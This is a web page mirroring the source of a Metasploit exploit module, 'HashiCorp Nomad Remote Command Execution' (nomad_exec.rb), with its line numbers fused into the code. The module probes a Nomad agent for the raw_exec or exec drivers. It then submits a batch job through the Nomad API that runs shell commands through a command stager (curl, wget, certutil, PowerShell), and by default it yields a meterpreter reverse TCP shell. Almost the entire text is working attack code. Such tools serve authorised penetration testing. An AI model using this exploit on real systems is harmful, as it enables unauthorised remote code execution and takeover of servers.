Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/nomad_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'HashiCorp Nomad Remote Command Execution',17'Description' => %q{18Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option19is to use the 'raw_exec' driver, which runs with high privileges. Development servers20and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs.21Regular 'exec' jobs can be created in a similar fashion at a lower privilege level.22},23'License' => MSF_LICENSE,24'Author' => [25'Wyatt Dahlenburg (@wdahlenb)',26],27'References' => [28[ 'URL', 'https://www.nomadproject.io/' ]29],30'Targets' => [31[32'Linux',33{34'Platform' => 'linux',35'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],36'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10 }37}38],39[40'Windows',41{42'Platform' => 'win',43'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'certutil', 'vbs' ],44'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'WfsDelay' => 10 }45}46]47],48'Payload' => {},49'Privileged' => false,50'DefaultTarget' => 0,51'DisclosureDate' => '2021-05-17',52'Notes' => {53'Stability' => [CRASH_SAFE],54'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],55'Reliability' => [REPEATABLE_SESSION]56}57)58)59register_options(60[61OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),62OptString.new('DATACENTER', [true, 'The datacenter to run against', 'dc1']),63OptString.new('JOB_NAME', [true, 'Name of job to run (default random)', '']),64OptString.new('JOB_TYPE', [true, 'Driver (raw_exec or exec)', 'raw_exec']),65Opt::RPORT(4646),66OptString.new('TARGETURI', [true, 'The base path', '/']),67OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])68]69)70end7172def check73res = send_request_cgi({74'method' => 'GET',75'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),76'headers' => {77'X-Nomad-Token' => datastore['ACL_TOKEN']78}79})8081unless res82vprint_error 'Connection failed'83return CheckCode::Unknown84end8586unless res.code == 20087vprint_error 'Unexpected reply'88return CheckCode::Safe89end9091agent_info = JSON.parse(res.body)9293if agent_info['config']['Plugins']94agent_info['config']['Plugins'].each do |plugin|95if plugin['Name'] == 'raw_exec' && plugin['Config']['enabled'] == true96return CheckCode::Vulnerable97end98end99end100101if agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == 'true' || agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == '1'102return CheckCode::Vulnerable103end104105if datastore['JOB_TYPE'] == 'raw_exec' && agent_info['config']['Client']['DisableRemoteExec'] == false106print_status 'raw_exec doesn\'t appear to be supported. Try setting JOB_TYPE to exec instead.'107return CheckCode::Appears108elsif datastore['JOB_TYPE'] == 'exec' && agent_info['config']['Client']['DisableRemoteExec'] == false109return CheckCode::Vulnerable110end111112CheckCode::Safe113rescue JSON::ParserError114vprint_error 'Failed to parse JSON output.'115return CheckCode::Unknown116end117118def execute_command(cmd, _opts = {})119uri = target_uri.path120job_name = datastore['JOB_NAME'] == '' ? Rex::Text.rand_text_alpha(5..10) : datastore['JOB_NAME']121print_status("Creating job '#{job_name}'")122123case target.name124when /Linux/125arg1 = 'sh'126arg2 = '-c'127when /Windows/128arg1 = 'cmd.exe'129arg2 = '/c'130end131132res = send_request_cgi({133'method' => 'PUT',134'uri' => normalize_uri(uri, 'v1/jobs'),135'headers' => {136'X-Nomad-Token' => datastore['ACL_TOKEN']137},138'ctype' => 'application/json',139'data' => {140Job: {141ID: job_name,142Name: job_name,143Type: 'batch',144Datacenters: [datastore['DATACENTER']],145TaskGroups: [146{147Name: job_name,148Count: 1,149Tasks: [150{151Name: job_name,152Driver: datastore['JOB_TYPE'],153User: '',154Config: {155command: arg1,156args: [157arg2,158cmd.to_s159]160},161Resources: {162CPU: 500,163MemoryMB: 256164},165LogConfig: {166MaxFiles: 1,167MaxFileSizeMB: 1168}169}170],171RestartPolicy: {172Attempts: 0173},174EphemeralDisk: {175SizeMB: 300176}177}178]179}180}.to_json181})182unless res && res.code == 200183fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.')184end185186job_info = JSON.parse(res.body)187eval_id = job_info['EvalID']188189print_status("Job '#{job_name}' successfully created as '#{eval_id}'.")190print_status("Waiting for job '#{job_name}' to trigger")191rescue JSON::ParserError192vprint_error 'Failed to parse JSON output.'193end194195def exploit196execute_cmdstager197end198end199200201